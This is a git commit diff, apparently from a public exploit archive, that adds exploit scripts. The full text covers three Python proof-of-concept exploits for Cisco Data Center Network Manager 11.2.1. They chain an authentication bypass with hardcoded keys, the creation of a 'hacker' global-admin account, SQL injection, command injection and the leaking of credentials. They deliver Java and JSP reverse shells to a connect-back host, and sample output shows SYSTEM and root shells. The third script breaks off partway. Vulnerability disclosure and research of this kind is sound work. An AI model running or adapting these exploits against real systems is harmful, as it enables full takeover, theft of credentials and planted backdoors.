DB: 2020-02-07
16 changes to exploits/shellcodes AbsoluteTelnet 11.12 - _license name_ Denial of Service (PoC) AbsoluteTelnet 11.12 - 'license name' Denial of Service (PoC) VIM 8.2 - Denial of Service (PoC) AbsoluteTelnet 11.12 - 'SSH2/username' Denial of Service (PoC) TapinRadio 2.12.3 - 'address' Denial of Service (PoC) TapinRadio 2.12.3 - 'username' Denial of Service (PoC) RarmaRadio 2.72.4 - 'username' Denial of Service (PoC) RarmaRadio 2.72.4 - 'server' Denial of Service (PoC) ELAN Smart-Pad 11.10.15.1 - 'ETDService' Unquoted Service Path Online Job Portal 1.0 - 'user_email' SQL Injection Online Job Portal 1.0 - Remote Code Execution Online Job Portal 1.0 - Cross Site Request Forgery (Add User) Ecommerce Systempay 1.0 - Production KEY Brute Force Cisco Data Center Network Manager 11.2 - Remote Code Execution Cisco Data Center Network Manager 11.2.1 - 'getVmHostData' SQL Injection Cisco Data Center Network Manager 11.2.1 - 'LanFabricImpl' Command Injection
This commit is contained in:
parent
7d757326b8
commit
923f53211e
17 changed files with 1235 additions and 0 deletions
265
exploits/java/webapps/48018.py
Executable file
265
exploits/java/webapps/48018.py
Executable file
|
@ -0,0 +1,265 @@
|
|||
#!/usr/bin/python
|
||||
"""
|
||||
Cisco Data Center Network Manager SanWS importTS Command Injection Remote Code Execution Vulnerability
|
||||
|
||||
Tested on: Cisco DCNM 11.2.1 Installer for Windows (64-bit)
|
||||
- Release: 11.2(1)
|
||||
- Release Date: 18-Jun-2019
|
||||
- FileName: dcnm-installer-x64-windows.11.2.1.exe.zip
|
||||
- Size: 1619.36 MB (1698022100 bytes)
|
||||
- MD5 Checksum: e50f8a6b2b3b014ec022fe40fabcb6d5
|
||||
|
||||
Bug 1: CVE-2019-15975 / ZDI-20-003
|
||||
Bug 2: CVE-2019-15979 / ZDI-20-100
|
||||
|
||||
Notes:
|
||||
======
|
||||
|
||||
Si.java needs to be compiled against Java 8 (the target used 1.8u201):
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.Socket;
|
||||
|
||||
public class Si {
|
||||
static{
|
||||
try {
|
||||
String host = "192.168.100.159";
|
||||
int port = 1337;
|
||||
String cmd = "cmd.exe";
|
||||
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
|
||||
Socket s = new Socket(host,port);
|
||||
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
|
||||
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
|
||||
while(!s.isClosed()){
|
||||
while(pi.available()>0){
|
||||
so.write(pi.read());
|
||||
}
|
||||
while(pe.available()>0){
|
||||
so.write(pe.read());
|
||||
}
|
||||
while(si.available()>0){
|
||||
po.write(si.read());
|
||||
}
|
||||
so.flush();
|
||||
po.flush();
|
||||
Thread.sleep(50);
|
||||
try {
|
||||
p.exitValue();
|
||||
break;
|
||||
}catch (Exception e){}
|
||||
}
|
||||
p.destroy();
|
||||
s.close();
|
||||
}catch (IOException | InterruptedException e){ }
|
||||
}
|
||||
}
|
||||
|
||||
Example:
|
||||
========
|
||||
|
||||
1. Modify the above Si.java to contain your connectback ip and port
|
||||
2. Compile the above Si.java class with Java 8 and store it in an attacker controlled share
|
||||
3. Launch the poc.py against your target using the share
|
||||
|
||||
saturn:~ mr_me$ ./poc.py
|
||||
(+) usage: ./poc.py <target> <connectback:port> <smbserver> <smbpath>
|
||||
(+) eg: ./poc.py 192.168.100.122 192.168.100.159:1337 vmware-host '\Shared Folders\tools'
|
||||
|
||||
saturn:~ mr_me$ ./poc.py 192.168.100.122 192.168.100.159:1337 vmware-host '\Shared Folders\tools'
|
||||
(+) attempting auth bypass 1
|
||||
(+) bypassed auth! added a global admin hacker:Hacked123
|
||||
(+) attempting to load class from \\vmware-host\Shared Folders\tools\Si.class
|
||||
(+) starting handler on port 1337
|
||||
(+) connection from 192.168.100.122
|
||||
(+) pop thy shell!
|
||||
Microsoft Windows [Version 6.3.9600]
|
||||
(c) 2013 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service>whoami
|
||||
whoami
|
||||
nt authority\system
|
||||
|
||||
C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service>
|
||||
"""
|
||||
|
||||
import re
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import base64
|
||||
import socket
|
||||
import requests
|
||||
import calendar
|
||||
import telnetlib
|
||||
from uuid import uuid4
|
||||
from threading import Thread
|
||||
from Crypto.Cipher import AES
|
||||
from xml.etree import ElementTree
|
||||
from datetime import datetime, timedelta
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
class AESCipher:
|
||||
def __init__(self):
|
||||
|
||||
# Cisco's hardcoded key
|
||||
self.key = "s91zEQmb305F!90a"
|
||||
self.bs = 16
|
||||
|
||||
def _pad(self, s):
|
||||
return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs)
|
||||
|
||||
def encrypt(self, raw):
|
||||
raw = self._pad(raw)
|
||||
iv = "\x00" * 0x10
|
||||
cipher = AES.new(self.key, AES.MODE_CBC, iv)
|
||||
return base64.b64encode(cipher.encrypt(raw))
|
||||
|
||||
def make_raw_token(target):
|
||||
""" craft our token """
|
||||
key = "Source Incite"
|
||||
uuid = str(uuid4()).replace("-","")[0:20]
|
||||
time = leak_time(target)
|
||||
return "%s-%s-%s" % (key, uuid, time)
|
||||
|
||||
def bypass_auth(target, token, usr, pwd):
|
||||
""" we use this primitive to fully bypass auth """
|
||||
global user_added_already
|
||||
d = {
|
||||
"userName" : usr,
|
||||
"password" : pwd,
|
||||
"roleName" : "global-admin"
|
||||
}
|
||||
h = { "afw-token" : token }
|
||||
uri = "https://%s/fm/fmrest/dbadmin/addUser" % target
|
||||
r = requests.post(uri, data=d, headers=h, verify=False)
|
||||
try:
|
||||
json = r.json()
|
||||
except ValueError:
|
||||
return False
|
||||
if json["resultMessage"] == "Success":
|
||||
user_added_already = False
|
||||
return True
|
||||
elif json["resultMessage"] == "User already exists.":
|
||||
user_added_already = True
|
||||
return True
|
||||
return False
|
||||
|
||||
def leak_time(target):
|
||||
""" leak the time from the server (not really needed) """
|
||||
uri = "https://%s/" % target
|
||||
r = requests.get(uri, verify=False)
|
||||
r_time = datetime.strptime(r.headers['Date'][:-4], '%a, %d %b %Y %H:%M:%S')
|
||||
return calendar.timegm(r_time.timetuple())
|
||||
|
||||
def gen_token(target, usr, pwd):
|
||||
""" this authenticates via the SOAP endpoint """
|
||||
soap_body = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.jaxws.dcbu.cisco.com/">'
|
||||
soap_body += '\t<soapenv:Header/>'
|
||||
soap_body += '\t<soapenv:Body>'
|
||||
soap_body += '\t\t<ep:requestToken>'
|
||||
soap_body += '\t\t\t<username>%s</username>' % usr
|
||||
soap_body += '\t\t\t<password>%s</password>' % pwd
|
||||
soap_body += '\t\t\t<expiration>100000</expiration>'
|
||||
soap_body += '\t\t</ep:requestToken>'
|
||||
soap_body += '\t</soapenv:Body>'
|
||||
soap_body += '</soapenv:Envelope>'
|
||||
uri = "https://%s/LogonWSService/LogonWS" % target
|
||||
r = requests.post(uri, data=soap_body, verify=False)
|
||||
tree = ElementTree.fromstring(r.content)
|
||||
for elem in tree.iter():
|
||||
if elem.tag == "return":
|
||||
return elem.text
|
||||
return False
|
||||
|
||||
def craft_soap_header(target, usr, pwd):
|
||||
""" this generates the soap header """
|
||||
soap_header = '\t<SOAP-ENV:Header xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
|
||||
soap_header += '<m:token xmlns:m="http://ep.jaxws.dcbu.cisco.com/">%s</m:token>' % gen_token(target, usr, pwd)
|
||||
soap_header += '\t</SOAP-ENV:Header>'
|
||||
return soap_header
|
||||
|
||||
def load_remote_class(target, smb, usr, pwd):
|
||||
""" this triggers the cmdi """
|
||||
soap_body = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">'
|
||||
soap_body += craft_soap_header(target, usr, pwd)
|
||||
soap_body += '\t<soapenv:Body>'
|
||||
soap_body += '\t\t<ep:importTS>'
|
||||
soap_body += '\t\t\t<certFile>" -providerclass Si -providerpath "%s</certFile>' % smb
|
||||
soap_body += '\t\t\t<serverIPAddress></serverIPAddress>'
|
||||
soap_body += '\t\t</ep:importTS>'
|
||||
soap_body += '\t</soapenv:Body>'
|
||||
soap_body += '</soapenv:Envelope>'
|
||||
uri = "https://%s/SanWSService/SanWS" % target
|
||||
r = requests.post(uri, data=soap_body, verify=False)
|
||||
tree = ElementTree.fromstring(r.content)
|
||||
for elem in tree.iter():
|
||||
if elem.tag == "resultMessage":
|
||||
if elem.text == "Success":
|
||||
return True
|
||||
return False
|
||||
|
||||
def handler(lp):
|
||||
print "(+) starting handler on port %d" % lp
|
||||
t = telnetlib.Telnet()
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.bind(("0.0.0.0", lp))
|
||||
s.listen(1)
|
||||
conn, addr = s.accept()
|
||||
print "(+) connection from %s" % addr[0]
|
||||
t.sock = conn
|
||||
print "(+) pop thy shell!"
|
||||
t.interact()
|
||||
|
||||
def exec_code(t, lp, s, usr, pwd):
|
||||
handlerthr = Thread(target=handler, args=(lp,))
|
||||
handlerthr.start()
|
||||
load_remote_class(t, s, usr, pwd)
|
||||
|
||||
def main():
|
||||
usr = "hacker"
|
||||
pwd = "Hacked123"
|
||||
if len(sys.argv) != 5:
|
||||
print "(+) usage: %s <target> <connectback:port> <smbserver> <smbpath>" % sys.argv[0]
|
||||
print "(+) eg: %s 192.168.100.122 192.168.100.159:1337 vmware-host '\\Shared Folders\\tools'" % sys.argv[0]
|
||||
sys.exit(1)
|
||||
t = sys.argv[1]
|
||||
c = sys.argv[2]
|
||||
s = "\\\\%s%s" % (sys.argv[3], sys.argv[4])
|
||||
i = 0
|
||||
|
||||
if not ":" in c:
|
||||
print "(+) using default connectback port 4444"
|
||||
ls = c
|
||||
lp = 4444
|
||||
else:
|
||||
if not c.split(":")[1].isdigit():
|
||||
print "(-) %s is not a port number!" % cb.split(":")[1]
|
||||
sys.exit(-1)
|
||||
ls = c.split(":")[0]
|
||||
lp = int(c.split(":")[1])
|
||||
|
||||
# InheritableThreadLocal.childValue performs a 'shallow copy' and causes a small race condition
|
||||
while 1:
|
||||
i += 1
|
||||
print "(+) attempting auth bypass %d" % i
|
||||
raw = make_raw_token(t)
|
||||
cryptor = AESCipher()
|
||||
token = cryptor.encrypt(raw)
|
||||
if bypass_auth(t, token, usr, pwd):
|
||||
if not user_added_already:
|
||||
print "(+) bypassed auth! added a global admin %s:%s" % (usr, pwd)
|
||||
else:
|
||||
print "(+) we probably already bypassed auth! try the account %s:%s" % (usr, pwd)
|
||||
break
|
||||
sys.stdout.write('\x1b[1A')
|
||||
sys.stdout.write('\x1b[2K')
|
||||
|
||||
# we have bypassed the authentication at this point
|
||||
print "(+) attempting to load class from %s\\Si.class" % s
|
||||
exec_code(t, lp, s, usr, pwd)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
323
exploits/java/webapps/48019.py
Executable file
323
exploits/java/webapps/48019.py
Executable file
|
@ -0,0 +1,323 @@
|
|||
#!/usr/bin/python
|
||||
"""
|
||||
Cisco Data Center Network Manager HostEnclHandler getVmHostData SQL Injection Remote Code Execution Vulnerability
|
||||
|
||||
Tested on: Cisco DCNM 11.2.1 Installer for Windows (64-bit)
|
||||
- Release: 11.2(1)
|
||||
- Release Date: 18-Jun-2019
|
||||
- FileName: dcnm-installer-x64-windows.11.2.1.exe.zip
|
||||
- Size: 1619.36 MB (1698022100 bytes)
|
||||
- MD5 Checksum: e50f8a6b2b3b014ec022fe40fabcb6d5
|
||||
|
||||
Bug 1: CVE-2019-15976 / ZDI-20-008
|
||||
Bug 2: CVE-2019-15984 / ZDI-20-060
|
||||
|
||||
Example:
|
||||
========
|
||||
|
||||
saturn:~ mr_me$ ./poc.py
|
||||
(+) usage: ./poc.py <target> <connectback>
|
||||
(+) eg: ./poc.py 192.168.100.122 192.168.100.59:1337
|
||||
|
||||
saturn:~ mr_me$ ./poc.py 192.168.100.122 192.168.100.59:1337
|
||||
(+) created the account hacker:Hacked123
|
||||
(+) created the 1337/custom path!
|
||||
(+) leaked vfs! temp230cf31722794196/content-ed98b5003b1c695c
|
||||
(+) SQL Injection working!
|
||||
(+) wrote the si.jsp shell!
|
||||
(+) cleaned up the database!
|
||||
(+) starting handler on port 1337
|
||||
(+) connection from 192.168.100.122
|
||||
(+) pop thy shell!
|
||||
Microsoft Windows [Version 6.3.9600]
|
||||
(c) 2013 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service>whoami
|
||||
whoami
|
||||
nt authority\system
|
||||
|
||||
C:\Program Files\Cisco Systems\dcm\wildfly-10.1.0.Final\bin\service>
|
||||
|
||||
Clean Up:
|
||||
=========
|
||||
|
||||
1. delete from xmlDocs where user_name = '1337';
|
||||
2. delete si.jsp from the web root
|
||||
3. delete the folder and its contents: C:/Program Files/Cisco Systems/dcm/fm/reports/1337
|
||||
"""
|
||||
|
||||
import re
|
||||
import md5
|
||||
import sys
|
||||
import time
|
||||
import socket
|
||||
import base64
|
||||
import requests
|
||||
import telnetlib
|
||||
from threading import Thread
|
||||
from xml.etree import ElementTree
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
def _get_jsp(cbh, cbp):
|
||||
""" get me some jsp for a connectback! """
|
||||
jsp = """
|
||||
<%%@page import="java.lang.*"%%>
|
||||
<%%@page import="java.util.*"%%>
|
||||
<%%@page import="java.io.*"%%>
|
||||
<%%@page import="java.net.*"%%>
|
||||
|
||||
<%%
|
||||
// clean up
|
||||
String[] files = {
|
||||
"C:/Program Files/Cisco Systems/dcm/fm/reports/1337/custom/si.xml",
|
||||
"C:/Program Files/Cisco Systems/dcm/fm/reports/1337/custom/",
|
||||
"C:/Program Files/Cisco Systems/dcm/fm/reports/1337/",
|
||||
};
|
||||
for (String s:files){ File f = new File(s); f.delete(); }
|
||||
File f = new File(application.getRealPath("/" + this.getClass().getSimpleName().replaceFirst("_",".")));
|
||||
f.delete();
|
||||
class StreamConnector extends Thread
|
||||
{
|
||||
InputStream we;
|
||||
OutputStream uo;
|
||||
|
||||
StreamConnector( InputStream we, OutputStream uo )
|
||||
{
|
||||
this.we = we;
|
||||
this.uo = uo;
|
||||
}
|
||||
|
||||
public void run()
|
||||
{
|
||||
BufferedReader dy = null;
|
||||
BufferedWriter zvi = null;
|
||||
try
|
||||
{
|
||||
dy = new BufferedReader( new InputStreamReader( this.we ) );
|
||||
zvi = new BufferedWriter( new OutputStreamWriter( this.uo ) );
|
||||
char buffer[] = new char[8192];
|
||||
int length;
|
||||
while( ( length = dy.read( buffer, 0, buffer.length ) ) > 0 )
|
||||
{
|
||||
zvi.write( buffer, 0, length );
|
||||
zvi.flush();
|
||||
}
|
||||
} catch( Exception e ){}
|
||||
try
|
||||
{
|
||||
if( dy != null )
|
||||
dy.close();
|
||||
if( zvi != null )
|
||||
zvi.close();
|
||||
} catch( Exception e ){}
|
||||
}
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
String ShellPath;
|
||||
ShellPath = new String("cmd.exe");
|
||||
Socket socket = new Socket( "%s", %s);
|
||||
Process process = Runtime.getRuntime().exec( ShellPath );
|
||||
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
|
||||
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
|
||||
} catch( Exception e ) {}
|
||||
%%>
|
||||
""" % (cbh, cbp)
|
||||
return jsp
|
||||
|
||||
def get_session(target, user, password):
|
||||
""" we have bypassed auth at this point and created an admin """
|
||||
d = {
|
||||
"j_username" : user,
|
||||
"j_password" : password
|
||||
}
|
||||
uri = "https://%s/j_spring_security_check" % target
|
||||
r = requests.post(uri, data=d, verify=False, allow_redirects=False)
|
||||
if "Set-Cookie" in r.headers:
|
||||
match = re.search(r"JSESSIONID=(.{56}).*resttoken=(\d{1,4}:.{44});", r.headers["Set-Cookie"])
|
||||
if match:
|
||||
sessionid = match.group(1)
|
||||
resttoken = match.group(2)
|
||||
return { "JSESSIONID" : sessionid, "resttoken": resttoken}
|
||||
return False
|
||||
|
||||
def craft_soap_header():
|
||||
soap_header = '\t<SOAP-ENV:Header xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
|
||||
soap_header += '<m:ssoToken xmlns:m="http://ep.jaxws.dcbu.cisco.com/">%s</m:ssoToken>' % gen_ssotoken()
|
||||
soap_header += '\t</SOAP-ENV:Header>'
|
||||
return soap_header
|
||||
|
||||
def we_can_trigger_folder_path_creation(target):
|
||||
""" craft the path location and db entry for the traversal """
|
||||
soap_body = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">'
|
||||
soap_body += craft_soap_header()
|
||||
soap_body += '\t<soapenv:Body>'
|
||||
soap_body += '\t\t<ep:saveReportTemplate>'
|
||||
soap_body += '\t\t\t<reportTemplateName>si</reportTemplateName>'
|
||||
soap_body += '\t\t\t<userName>1337</userName>'
|
||||
soap_body += '\t\t\t<updatedAttrs></updatedAttrs>'
|
||||
soap_body += '\t\t\t<pmInterval>1337</pmInterval>'
|
||||
soap_body += '\t\t</ep:saveReportTemplate>'
|
||||
soap_body += '\t</soapenv:Body>'
|
||||
soap_body += '</soapenv:Envelope>'
|
||||
uri = "https://%s/ReportWSService/ReportWS" % target
|
||||
r = requests.post(uri, data=soap_body, verify=False)
|
||||
if r.status_code == 200:
|
||||
return True
|
||||
return False
|
||||
|
||||
def we_can_trigger_second_order_write(target, shellpath):
|
||||
""" trigger the traversal """
|
||||
soap_body = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">'
|
||||
soap_body += craft_soap_header()
|
||||
soap_body += '\t<soapenv:Body>'
|
||||
soap_body += '\t\t<ep:openReportTemplate>'
|
||||
soap_body += '\t\t\t<reportTemplateName>%s</reportTemplateName>' % shellpath
|
||||
soap_body += '\t\t\t<userName>1337</userName>'
|
||||
soap_body += '\t\t</ep:openReportTemplate>'
|
||||
soap_body += '\t</soapenv:Body>'
|
||||
soap_body += '</soapenv:Envelope>'
|
||||
uri = "https://%s/ReportWSService/ReportWS" % target
|
||||
r = requests.post(uri, data=soap_body, verify=False)
|
||||
if r.status_code == 200:
|
||||
return True
|
||||
return False
|
||||
|
||||
def gen_ssotoken():
|
||||
""" auth bypass """
|
||||
timestamp = 9999999999999 # we live forever
|
||||
username = "hax" # doesnt even need to exist!
|
||||
sessionid = 1337 # doesnt even need to exist!
|
||||
d = "%s%d%dPOsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF" % (username, sessionid, timestamp)
|
||||
return "%d.%d.%s.%s" % (sessionid, timestamp, base64.b64encode(md5.new(d).digest()), username)
|
||||
|
||||
def we_can_trigger_sql_injection(target, sql):
|
||||
""" stacked sqli primitive """
|
||||
sqli = ";%s--" % sql
|
||||
soap_body = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">'
|
||||
soap_body += craft_soap_header()
|
||||
soap_body += '\t<soapenv:Body>'
|
||||
soap_body += '\t\t<ep:getVmHostData>'
|
||||
soap_body += '\t\t\t<arg0>'
|
||||
soap_body += '\t\t\t\t<sortField>vcluster</sortField>'
|
||||
soap_body += '\t\t\t\t<sortType>%s</sortType>' % sqli
|
||||
soap_body += '\t\t\t</arg0>'
|
||||
soap_body += '\t\t\t<arg1></arg1>'
|
||||
soap_body += '\t\t\t<arg2></arg2>'
|
||||
soap_body += '\t\t\t<arg3>false</arg3>'
|
||||
soap_body += '\t\t</ep:getVmHostData>'
|
||||
soap_body += '\t</soapenv:Body>'
|
||||
soap_body += '</soapenv:Envelope>'
|
||||
uri = "https://%s/DbInventoryWSService/DbInventoryWS" % target
|
||||
r = requests.post(uri, data=soap_body, verify=False)
|
||||
if r.status_code == 200:
|
||||
return True
|
||||
return False
|
||||
|
||||
def we_can_leak_vfs(target):
|
||||
""" we use a information disclosure for the vfs path """
|
||||
global vfs
|
||||
uri = 'https://%s/serverinfo/HtmlAdaptor?action=displayServerInfos' % target
|
||||
c = requests.auth.HTTPBasicAuth('admin', 'nbv_12345')
|
||||
r = requests.get(uri, verify=False, auth=c)
|
||||
match = re.search(r"temp\\(.{21}content-.{15,16})", r.text)
|
||||
if match:
|
||||
vfs = str(match.group(1).replace("\\","/"))
|
||||
return True
|
||||
return False
|
||||
|
||||
def handler(lp):
|
||||
""" this is the client handler, to catch the connectback """
|
||||
print "(+) starting handler on port %d" % lp
|
||||
t = telnetlib.Telnet()
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.bind(("0.0.0.0", lp))
|
||||
s.listen(1)
|
||||
conn, addr = s.accept()
|
||||
print "(+) connection from %s" % addr[0]
|
||||
t.sock = conn
|
||||
print "(+) pop thy shell!"
|
||||
t.interact()
|
||||
|
||||
def exec_code(t, usr, pwd, cbp):
|
||||
""" this function threads the client handler and sends off the attacking payload """
|
||||
handlerthr = Thread(target=handler, args=(int(cbp),))
|
||||
handlerthr.start()
|
||||
r = requests.get("https://%s/si.jsp" % t, cookies=get_session(t, usr, pwd), verify=False)
|
||||
|
||||
def we_can_add_user(target, usr, pwd):
|
||||
""" add a user so that we can reach our backdoor! """
|
||||
soap_body = '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ep="http://ep.san.jaxws.dcbu.cisco.com/">'
|
||||
soap_body += craft_soap_header()
|
||||
soap_body += '\t<soapenv:Body>'
|
||||
soap_body += '\t\t<ep:addUser>'
|
||||
soap_body += '\t\t\t<userName>%s</userName>' % usr
|
||||
soap_body += '\t\t\t<password>%s</password>' % pwd
|
||||
soap_body += '\t\t\t<roleName>global-admin</roleName>'
|
||||
soap_body += '\t\t\t<enablePwdExpiration>false</enablePwdExpiration>'
|
||||
soap_body += '\t\t</ep:addUser>'
|
||||
soap_body += '\t</soapenv:Body>'
|
||||
soap_body += '</soapenv:Envelope>'
|
||||
uri = "https://%s/DbAdminWSService/DbAdminWS" % target
|
||||
r = requests.post(uri, data=soap_body, verify=False)
|
||||
tree = ElementTree.fromstring(r.content)
|
||||
for elem in tree.iter():
|
||||
if elem.tag == "resultMessage":
|
||||
res = elem.text
|
||||
if res == "Success":
|
||||
return True
|
||||
elif res == "User already exists.":
|
||||
return True
|
||||
return False
|
||||
|
||||
def main():
|
||||
|
||||
usr = "hacker"
|
||||
pwd = "Hacked123"
|
||||
|
||||
if len(sys.argv) != 3:
|
||||
print "(+) usage: %s <target> <connectback>" % sys.argv[0]
|
||||
print "(+) eg: %s 192.168.100.122 192.168.100.59:1337" % sys.argv[0]
|
||||
sys.exit(1)
|
||||
|
||||
t = sys.argv[1]
|
||||
c = sys.argv[2]
|
||||
|
||||
cbh = c.split(":")[0]
|
||||
cbp = c.split(":")[1]
|
||||
sc = _get_jsp(cbh, cbp).encode("hex")
|
||||
|
||||
# stage 1 - add a user
|
||||
if we_can_add_user(t, usr, pwd):
|
||||
print "(+) created the account %s:%s" % (usr, pwd)
|
||||
|
||||
# stage 2 - trigger folder creation and db entry
|
||||
if we_can_trigger_folder_path_creation(t):
|
||||
print "(+) created the 1337/custom path!"
|
||||
|
||||
# stage 3 - leak the vfs path (not really required I suppose)
|
||||
if we_can_leak_vfs(t):
|
||||
print "(+) leaked vfs! %s" % vfs
|
||||
|
||||
# stage 4 - trigger the sql injection to update our template entry
|
||||
sp = "../../../../wildfly-10.1.0.Final/standalone/tmp/vfs/temp/%s/si.jsp" % vfs
|
||||
sql = "update xmldocs set document_name='%s',content=decode('%s','hex') where user_name='1337';" % (sp, sc)
|
||||
if we_can_trigger_sql_injection(t, sql):
|
||||
print "(+) SQL Injection working!"
|
||||
|
||||
# stage 5 - trigger the shell write
|
||||
if we_can_trigger_second_order_write(t, sp):
|
||||
print "(+) wrote the si.jsp shell!"
|
||||
|
||||
# stage 6 - cleanup
|
||||
sql = "delete from xmldocs where user_name='1337';"
|
||||
if we_can_trigger_sql_injection(t, sql):
|
||||
print "(+) cleaned up the database!"
|
||||
|
||||
# stage 7 - go get some rce
|
||||
exec_code(t, usr, pwd, cbp)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
201
exploits/java/webapps/48020.py
Executable file
201
exploits/java/webapps/48020.py
Executable file
|
@ -0,0 +1,201 @@
|
|||
#!/usr/bin/python
|
||||
"""
|
||||
Cisco Data Center Network Manager LanFabricImpl createLanFabric Command Injection Remote Code Execution Vulnerability
|
||||
|
||||
Tested on: Cisco DCNM 11.2.1 ISO Virtual Appliance for VMWare, KVM and Bare-metal servers
|
||||
- Release: 11.2(1)
|
||||
- Release Date: 05-Jun-2019
|
||||
- FileName: dcnm-va.11.2.1.iso.zip
|
||||
- Size: 4473.54 MB (4690850167 bytes)
|
||||
- MD5 Checksum: b1bba467035a8b41c63802ce8666b7bb
|
||||
|
||||
Bug 1: CVE-2019-15977 / ZDI-20-012
|
||||
Bug 2: CVE-2019-15977 / ZDI-20-013
|
||||
Bug 3: CVE-2019-15978 / ZDI-20-102
|
||||
|
||||
Example:
|
||||
========
|
||||
|
||||
saturn:~ mr_me$ ./poc.py
|
||||
(+) usage: ./poc.py <target> <connectback:port>
|
||||
(+) eg: ./poc.py 192.168.100.123 192.168.100.59
|
||||
(+) eg: ./poc.py 192.168.100.123 192.168.100.59:1337
|
||||
|
||||
saturn:~ mr_me$ ./poc.py 192.168.100.123 192.168.100.59:1337
|
||||
(+) leaked user: root
|
||||
(+) leaked pass: Dcnmpass123
|
||||
(+) leaked vfs path: temp18206a94b7c45072/content-85ba056e1faec012
|
||||
(+) created a root session!
|
||||
(+) starting handler on port 1337
|
||||
(+) connection from 192.168.100.123
|
||||
(+) pop thy shell!
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
uname -a
|
||||
Linux localhost 3.10.0-957.10.1.el7.x86_64 #1 SMP Mon Mar 18 15:06:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
|
||||
"""
|
||||
|
||||
import re
|
||||
import sys
|
||||
import random
|
||||
import socket
|
||||
import string
|
||||
import requests
|
||||
import telnetlib
|
||||
from threading import Thread
|
||||
from Crypto.Cipher import Blowfish
|
||||
from requests.auth import HTTPBasicAuth
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
def handler(lp):
|
||||
print "(+) starting handler on port %d" % lp
|
||||
t = telnetlib.Telnet()
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.bind(("0.0.0.0", lp))
|
||||
s.listen(1)
|
||||
conn, addr = s.accept()
|
||||
print "(+) connection from %s" % addr[0]
|
||||
t.sock = conn
|
||||
print "(+) pop thy shell!"
|
||||
t.interact()
|
||||
|
||||
def exec_code(t, lp, s):
|
||||
handlerthr = Thread(target=handler, args=(lp,))
|
||||
handlerthr.start()
|
||||
c = { "JSESSIONID" : sessionid }
|
||||
r = requests.get("https://%s/%s" % (t, s), cookies=c, verify=False)
|
||||
|
||||
def random_string(string_length = 8):
|
||||
""" generate a random string of fixed length """
|
||||
letters = string.ascii_lowercase
|
||||
return ''.join(random.choice(letters) for i in range(string_length))
|
||||
|
||||
def decrypt(key):
|
||||
""" decrypt the leaked password """
|
||||
cipher = Blowfish.new("jaas is the way", Blowfish.MODE_ECB)
|
||||
msg = cipher.decrypt(key.decode("hex"))
|
||||
return msg
|
||||
|
||||
def we_can_leak(target):
|
||||
""" used to bypass auth """
|
||||
global dbuser, dbpass, vfspth, jdbc, rootuser, rootpass
|
||||
dbuser = None
|
||||
dbpass = None
|
||||
vfspth = None
|
||||
rootuser = None
|
||||
rootpass = None
|
||||
jdbc = None
|
||||
uri = 'https://%s/serverinfo/HtmlAdaptor?action=displayServerInfos' % target
|
||||
c = HTTPBasicAuth('admin', 'nbv_12345')
|
||||
r = requests.get(uri, verify=False, auth=c)
|
||||
leaked = r.text
|
||||
match = re.search("db.password = #(.*)", leaked)
|
||||
if match:
|
||||
dbpass = match.group(1)
|
||||
match = re.search("db.user = (.*)", leaked)
|
||||
if match:
|
||||
dbuser = match.group(1)
|
||||
match = re.search("dcnmweb = (.*)", leaked)
|
||||
if match:
|
||||
vfspth = match.group(1)
|
||||
match = re.search("db.url = (.*)", leaked)
|
||||
if match:
|
||||
jdbc = match.group(1)
|
||||
match = re.search("server.sftp.password = #(.*)", leaked)
|
||||
if match:
|
||||
rootpass = match.group(1)
|
||||
match = re.search("server.sftp.username = (.*)", leaked)
|
||||
if match:
|
||||
rootuser = match.group(1)
|
||||
